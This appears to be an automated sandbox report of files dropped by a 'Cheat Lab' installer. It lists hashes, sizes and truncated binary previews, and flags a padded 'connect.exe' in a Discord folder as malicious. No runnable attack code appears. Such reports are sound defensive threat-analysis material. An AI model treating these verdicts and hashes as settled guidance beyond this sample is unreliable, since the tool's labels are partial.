Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAD1D.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAEA5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAEC5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSIAEF5.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID74E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSID76E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxmhnkre.qdp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_orwxlzxb.cw1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z4na4rs3.hap.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5m430pb.ko3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Discord\Settings\connect.exe

Download File

Process:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074015689
Entropy (8bit):	0.0048756959434813766
Encrypted:	false
SSDEEP:
MD5:	DECF64C46889E5C44B7924E5318FC57E
SHA1:	8F1805C6F77844A6754738B371178C25FDF04630
SHA-256:	B8E1072E5CF3C7695E0736D2EA09CC4CEDCC90F5285D0F0D0DF9A6994B3BE8CB
SHA-512:	D131BC345B2398ECC360A1D47FB8D767350182F0A8E726E3C7B96A58D4C790A7B90B9ABC5EE071112823CD6888FD3F123D76C6FF74AF33C8A7825F852D5CFCD4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.B.>.,.>.,.>.,. .$.,. ...,. .y.,...q.=.,.>.-.l.,.7..?.,.7..?.,.Rich>.,.........PE..L.....He..........................................@..........................p...............................................e.......................................................................................................................text....f.......h.................. ..`.bss.....!......."...l.............. ..`.rdata..............................@..@.data............\|..................@....jkqvbz......`.......&..................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\9E146BE9C76A4720BCDB53011B87BD06.json

Download File

Process:	C:\Program Files\Cheat Lab Inc\Cheat Lab\LuaJIT.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2064
Entropy (8bit):	3.9639720886787493
Encrypted:	false
SSDEEP:	48:YM0gQlcfcTnXRfhZa87MHV9fEgptajQAs9l:fQfnBZcgWcgptyQAs7
MD5:	C12B426B11A7B95D2DF7EF2D2F2EFE5F
SHA1:	F8C22CCBADFB5A38816EC727B0B5768801FDDE2E
SHA-256:	1BC0AF7D72B09BE2CE4A18EBDAAD7D1BDE137EA5FC3ED0203A02F713499015A6
SHA-512:	9F3A903F78579399E9589876756FA3EBA2C052F32ACDC31A80E5A1D129CAC1F1926E0E231DC45B4AD8EECC1BFD1178BB52BFF11D322BEAA8CA6920B66BD939C8
Malicious:	false
Preview:	{"tasks":"OTMsYjQsOTIsYWMsYjMsNTMsODgsOGMsODMsODYsOWQsODAsN2EsODksY2UsYTEsYjIsZGYsN2MsYTcsNmIsOTksYWIsYTgsYTYsYjEsYzQsOWQsODQsOTQsYmIsYWEsYTYsNjcsZDQsYWMsYzIsOTQsYmQsZGUsYjAsYjMsZGIsYzQsODgsY2EsZDEsYTUsNzMsZDUsY2UsZTEsYWMsZGEsYWIsYTEsOTcsYWYsYzUsZDYsODQsOTYsODksN2MsNmUsNmYsYTksNzcsODIsNmEsODEsOWUsODUsOGEsYTMsODUsOTEsOTcsOTQsNmQsNzMsYTUsOGIsYTQsN2MsYTcsNzcsNmIsNjYsNzksODIsOTQsOGQsOTcsOGYsN2YsNmIsNzAsYTIsN2MsN2UsNjMsN2MsZTAsYzQsYzYsOGQsODAsN2EsODksYzgsYTEsYjAsZDksYjksZGQsYWMsZWIsYWIsNTYsNmMsNjEsNzMsYTQsYzUsZDUsOWMsYTcsYWMsOWEsOTIsNmYsNmYsNTMsYjQsZDUsYjgsYjcsY2EsYzIsYmIsZDQsYzcsNWEsN2UsOTQsN2MsYjEsYjQsZWEsYTYsYTMsYTQsYTUsYWQsYmYsYTgsY2EsY2MsYmEsYTEsYTcsZDcsYjYsYWIsOGQsYjEsZGIsYmEsYzAsZDAsYjcsY2UsOTUsYzcsYjAsYTksOTYsODYsOGQsNmQsZWEsYjcsOTUsYTQsYjUsNzMsOWQsNzUsOTYsODQsNjYsNWEsOWEsZTUsYjcsYmUsYTMsYzMsZGEsNmUsOGMsOGIsODQsODYsODcsODQsYWEsYTksZTAsYmIsZTIsYjksZGEsYWIsNTYsNmMsNjEsODEsOGYsNzUsODcsYzAsYWYsOWMsOWUsOTIsN2QsNmYsNjIsN2EsOGMsNmUsYzIsZTAsYzEsY2EsODksOWMsNTgsYmYsOTYsY2QsZDYsYzUsZGMsNjUsNm

C:\Windows\Installer\66bc0c.msi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Create Time/Date: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {3C7A1E44-AA05-4B3F-B2A1-48DCB7D1B307}, Number of Words: 2, Subject: Cheat Lab, Author: Cheat Lab Inc., Name of Creating Application: Cheat Lab, Template: x64;1033, Comments: This installer database contains the logic and data required to install Cheat Lab., Title: Installation Database, Keywords: Installer, MSI, Database, Number of Pages: 200
Category:	dropped
Size (bytes):	2020352
Entropy (8bit):	7.183219452373841
Encrypted:	false
SSDEEP:	49152:1VkldbW8zBQSc0ZnSK/uxtZCZKumZrROOsLRTtA:mo0ZnPux4KdsLRTtA
MD5:	5395845C70FD2495F0407291BE32201C
SHA1:	A76288FE27B9684ED8D141B50AA55437833ED1A2
SHA-256:	338F6A75E6E11459A5CEDB3A2917F9B3F9FCB4991FEC84514692B649393EA3BB
SHA-512:	6550AE020F597FBF37FD56582EEC4911B2CAC7860D510F54C2E68CCC4A3ACD4EC04734BA0A683B1B04DE15C9832F3F8CE4524C177D8F234AAE6A43354B33C71A
Malicious:	false
Preview:	......................>.......................................................[.......W...............................................,...-......./...0...1...2.......s...t...u...v...w...x...y...z.......................................................................................................................................................................................................................................................................................................................................T...........#...0............................................................................................... ...!...".../...$.......&...'...(...)...*...+...,...-.......6...1...B...2...3...4...5...8...7...?...9...:...;...<...=...>...H...@...A...U...C...D...E...F...G...........J...K...L...M...N...O...P...Q...R...S...........V...W...X...Y...Z...........]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Windows\Installer\MSIBD45.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBDB3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBE12.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBE32.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	446944
Entropy (8bit):	6.403916470886214
Encrypted:	false
SSDEEP:	6144:5x0A4eCDsgvSd7ftYx5fnLHT7ybjfgaUFfQiAOuv2IaZeB+:5x0ECIgYOx5fnL/tYi8OBZr
MD5:	475D20C0EA477A35660E3F67ECF0A1DF
SHA1:	67340739F51E1134AE8F0FFC5AE9DD710E8E3A08
SHA-256:	426E6CF199A8268E8A7763EC3A4DD7ADD982B28C51D89EBEA90CA792CBAE14DD
SHA-512:	99525AAAB2AB608134B5D66B5313E7FC3C2E2877395C5C171897D7A6C66EFB26B606DE1A4CB01118C2738EA4B6542E4EB4983E631231B3F340BF85E509A9589E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........0...c...c...c...b...c...bZ..c...b...c...b...c...b...c...b...c...b...c...b...c...c...cF..b...cF..b...cF..c...c..{c...cF..b...cRich...c........................PE..L....;.a.........."!.....t...P......'.....................................................@.........................PK......$S..........0........................L......p...............................@...............4............................text....r.......t.................. ..`.rdata..@............x..............@..@.data....!...p.......R..............@....rsrc...0............d..............@..@.reloc...L.......N...j..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBE81.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	191968
Entropy (8bit):	6.4059654303545885
Encrypted:	false
SSDEEP:	3072:TM6KwXYKcWHBnqA2L6vFW90Y+y3jS6LhrZe6benANHPPDZ1D5GvEOiF:TBKwXYBWHRuEFW9RzLLhrUmdHDZ19Mh0
MD5:	F11E8EC00DFD2D1344D8A222E65FEA09
SHA1:	235ED90CC729C50EB6B8A36EBCD2CF044A2D8B20
SHA-256:	775037D6D7DE214796F2F5850440257AE7F04952B73538DA2B55DB45F3B26E93
SHA-512:	6163DD8FD18B4520D7FDA0986A80F2E424FE55F5D65D67F5A3519A366E53049F902A08164EA5669476100B71BB2F0C085327B7C362174CB7A051D268F10872D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIBEB1.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	785324
Entropy (8bit):	6.51909311320731
Encrypted:	false
SSDEEP:	12288:waHRuEs3Xmm9DZE8aHRuEs3Xmm9DZEEMvZx0FlS68zBQSncb4ZPQTpAjZxqO1k:w25snmmtZx25snmmtZlMvZCFlp8zBQSa
MD5:	31F5B4CDF0236B1BC3E5879A04E3D9BC
SHA1:	F1E0830929725490F465E637A5060547FD8747D7
SHA-256:	7ACBC931D80BC97FC223BDA0C43E5527203C209F252DD1910FCD907A1CCB10CA
SHA-512:	7BF30E3A5002BA923F6FD473D186DB669B59061E8CEFDBEE98161DF6E067D46110260279DAD750A5C0FD646D1237B328CB1C883264001203762F826DA28FC48A
Malicious:	false
Preview:	...@IXOS.@.....@b\|fW.@.....@.....@.....@.....@.....@......&.{E0E46653-343B-4459-B5BD-ED25C554CD5C}..Cheat Lab..Cheat.Lab.2.7.2.msi.@.....@.....@.....@........&.{3C7A1E44-AA05-4B3F-B2A1-48DCB7D1B307}.....@.....@.....@.....@.......@.....@.....@.......@......Cheat Lab......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........AI_RollbackTasks21.Rolling back scheduled task on the local computer..Task Name: [1]J...AI_RollbackTasks2.@.-........MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@

C:\Windows\Installer\MSIBF2F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	191968
Entropy (8bit):	6.4059654303545885
Encrypted:	false
SSDEEP:	3072:TM6KwXYKcWHBnqA2L6vFW90Y+y3jS6LhrZe6benANHPPDZ1D5GvEOiF:TBKwXYBWHRuEFW9RzLLhrUmdHDZ19Mh0
MD5:	F11E8EC00DFD2D1344D8A222E65FEA09
SHA1:	235ED90CC729C50EB6B8A36EBCD2CF044A2D8B20
SHA-256:	775037D6D7DE214796F2F5850440257AE7F04952B73538DA2B55DB45F3B26E93
SHA-512:	6163DD8FD18B4520D7FDA0986A80F2E424FE55F5D65D67F5A3519A366E53049F902A08164EA5669476100B71BB2F0C085327B7C362174CB7A051D268F10872D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A..QA..QA..Q...PK..Q...P..Q...PP..Q...PR..Q...PW..Q...Pu..Q...P@..Q...PP..QA..Q...Q...PY..Q...P@..Q...Q@..QA..Q@..Q...P@..QRichA..Q................PE..L....;.a.........."!................'........ ......................................O.....@.................................X...x.......x...........................ty..p....................z.......$..@............ .........@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIC01A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	399328
Entropy (8bit):	6.589290025452677
Encrypted:	false
SSDEEP:	6144:gMvZx0Flyv/UB8zBQSnuJnO6n4ZSaHwLvFnNLqrFWeyp1uBxfAOT3VDqO1:gMvZx0FlS68zBQSncb4ZPQTpAjZxqO1
MD5:	B9545ED17695A32FACE8C3408A6A3553
SHA1:	F6C31C9CD832AE2AEBCD88E7B2FA6803AE93FC83
SHA-256:	1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F31538FB4F4729A
SHA-512:	F6D6DC40DCBA5FF091452D7CC257427DCB7CE2A21816B4FEC2EE249E63246B64667F5C4095220623533243103876433EF8C12C9B612C0E95FDFFFE41D1504E04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
